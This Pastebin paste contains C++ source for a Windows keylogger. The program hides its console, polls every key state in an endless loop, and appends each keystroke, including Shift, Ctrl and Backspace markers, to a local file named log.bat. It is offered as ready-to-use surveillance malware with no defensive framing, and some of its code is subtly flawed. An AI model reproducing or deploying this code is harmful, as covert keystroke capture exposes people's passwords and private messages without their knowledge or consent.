samuel21119

Keyboard Logger

Jun 30th, 2020
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.02 KB | None | 0 0
  1. #ifdef _MSC_VER
  2. #define _CRT_SECURE_NO_WARNINGS
  3. #endif
  4. #include <iostream>
  5. #include <Windows.h>
  6. #include <Winuser.h>
  7.  
  8. using namespace std;
  9. int Save(int _key, char *file);
  10.  
  11. int main() {
  12.  
  13.     FreeConsole();
  14.  
  15.     char i;
  16.  
  17.     while (true)
  18.     {
  19.         Sleep(10);
  20.  
  21.         for (i = 8; i <= 255; i++) {
  22.             if (GetAsyncKeyState(i) == -32767) {
  23.                 Save(i, "log.bat");
  24.             }
  25.         }
  26.     }
  27.     return 0;
  28. }
  29.  
  30. int Save(int _key, char *file)
  31. {
  32.     cout << _key << endl;
  33.  
  34.     Sleep(10);
  35.  
  36.     FILE *OUTPUT_FILE;
  37.  
  38.     OUTPUT_FILE = fopen(file, "a+");
  39.  
  40.     if (_key == VK_SHIFT)
  41.         fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  42.     else if (_key == VK_BACK)
  43.         fprintf(OUTPUT_FILE, "%s", "[BACK]");
  44.     else if (_key == VK_LBUTTON)
  45.         fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
  46.     else if (_key == VK_RETURN)
  47.         fprintf(OUTPUT_FILE, "%s", "[RETURN]");
  48.     else if (_key == VK_ESCAPE)
  49.         fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  50.     else if (_key == VK_DELETE)
  51.         fprintf(OUTPUT_FILE, "%s", "[DELETE]");
  52.     else if (_key == 46)//190
  53.         fprintf(OUTPUT_FILE, "%s", ".");
  54.     else if (_key == VK_NUMPAD0)
  55.         fprintf(OUTPUT_FILE, "%s", "0");
  56.     else if (_key == VK_NUMPAD1)
  57.         fprintf(OUTPUT_FILE, "%s", "1");
  58.     else if (_key == VK_NUMPAD2)
  59.         fprintf(OUTPUT_FILE, "%s", "2");
  60.     else if (_key == VK_NUMPAD3)
  61.         fprintf(OUTPUT_FILE, "%s", "3");
  62.     else if (_key == VK_NUMPAD4)
  63.         fprintf(OUTPUT_FILE, "%s", "4");
  64.     else if (_key == VK_NUMPAD5)
  65.         fprintf(OUTPUT_FILE, "%s", "5");
  66.     else if (_key == VK_NUMPAD6)
  67.         fprintf(OUTPUT_FILE, "%s", "6");
  68.     else if (_key == VK_NUMPAD7)
  69.         fprintf(OUTPUT_FILE, "%s", "7");
  70.     else if (_key == VK_NUMPAD8)
  71.         fprintf(OUTPUT_FILE, "%s", "8");
  72.     else if (_key == VK_NUMPAD9)
  73.         fprintf(OUTPUT_FILE, "%s", "9");
  74.     else if (_key == 190 || _key == 110)
  75.         fprintf(OUTPUT_FILE, "%s", ".");
  76.     else if (_key == VK_TAB) {
  77.         fprintf(OUTPUT_FILE, "%s", "[TAB]");
  78.     }
  79.     else if (_key == VK_CONTROL)
  80.         fprintf(OUTPUT_FILE, "%s", "[CTRL]");
  81.     else if (_key == VK_MENU)
  82.         fprintf(OUTPUT_FILE, "%s", "[ALT]");
  83.     else
  84.         fprintf(OUTPUT_FILE, "%s", &_key);
  85.  
  86.     fclose(OUTPUT_FILE);
  87.  
  88.     return 0;
  89. }
Add Comment
Please, Sign In to add comment